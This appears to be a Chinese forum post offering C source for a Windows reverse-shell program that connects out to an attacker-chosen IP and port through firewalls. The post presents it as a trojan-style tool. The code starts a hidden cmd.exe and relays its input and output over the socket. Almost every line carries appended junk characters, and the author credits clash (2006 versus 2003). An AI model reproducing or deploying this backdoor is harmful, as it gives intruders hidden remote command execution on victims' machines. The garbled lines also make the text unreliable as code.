这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QAKA3{-(
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/* ============================== ""u>5f
Rebound port in Windows NT guWX$C-+1
By wind,2006/7 D;WQNlTU
===============================*/ 56^#x
#include b;Uqyc
#include %LeZd}v
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#pragma comment(lib,"wsock32.lib") CWS&f
g%o{
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void OutputShell(); )MU)'1jc,
SOCKET sClient; },(Ln%M
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :x/L.Bz
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void main(int argc,char **argv) k1Thjt
{ "qv J-Y
WSADATA stWsaData;
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int nRet; /$?7L(
SOCKADDR_IN stSaiClient,stSaiServer; f<v:Tg.[
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if(argc != 3) l!YjDm{E
{ c6Z\ecH9
printf("Useage:\n\rRebound DestIP DestPort\n"); |}^BF%8V:
return; >pq= .)X}
} _vgFcE~E@
}qn@8}
WSAStartup(MAKEWORD(2,2),&stWsaData); .cA'6J"Bm\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S,%BhQ[
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stSaiClient.sin_family = AF_INET; l&4+v.zr
stSaiClient.sin_port = htons(0); -cW'g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l&LrcM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $MB/j6#j
{ UOAL7
printf("Bind Socket Failed!\n"); H|i39XV
return; P]b *hC
} I!OV+utF
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stSaiServer.sin_family = AF_INET; xU_Dg56z'&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "o.g}Pv
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i`)h~V|G
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,Kw]V %xOb
{ 38Bh9>c3
printf("Connect Error!"); )r^)e4UI
return; "UDV4<|^k
} X[Q:c4'
OutputShell(); fXJbC+
} 2IGoAt>V
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void OutputShell() [ijK~
{ )lsR8Hi8
char szBuff[1024]; +^\TG>le
SECURITY_ATTRIBUTES stSecurityAttributes; 5o&noRIIr
OSVERSIONINFO stOsversionInfo; &>]c"?C*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [^4)3cj7}
STARTUPINFO stStartupInfo; eVy>
char *szShell; ,|r%tNh<8$
PROCESS_INFORMATION stProcessInformation; vm
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unsigned long lBytesRead; 1!4-M$-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1ae,s{|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5!pof\/a
stSecurityAttributes.lpSecurityDescriptor = 0; l#;DO9
stSecurityAttributes.bInheritHandle = TRUE; }KZt7)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BlrZ<\-/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wG\ +C'&~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1'G&PX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; zcn/LF
stStartupInfo.hStdInput = hReadPipe; {#,eD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sD!)= t_
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GetVersionEx(&stOsversionInfo); v3ky;~ke
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switch(stOsversionInfo.dwPlatformId) N#Y|MfLc
{ VoTnm
case 1: OrJuE[R.
szShell = "command.com"; ?2zbZ
break; (5Z*m<]c
default: 'fGB#uBt
szShell = "cmd.exe"; 8NJxtT~0c~
break; y|7sh
} "^UJC-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #BZ2%\
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send(sClient,szMsg,77,0); l
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while(1) Us.")GiHE
{ \@}G'7{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !G8=S'~~
if(lBytesRead) UCz\SZ{za
{ 1[g -f,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IOjp'6Yr
send(sClient,szBuff,lBytesRead,0); Wz%b,!
} %tOGs80_{
else '<JNS8h
{ =sYUzYm
lBytesRead=recv(sClient,szBuff,1024,0); (T9Q6\sa
if(lBytesRead<=0) break; Vx<`6uv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %wDE+&M
} 0'3f^Ajf
} 5p}ri,Y<
+}.~"
return; NR6wNz&81
}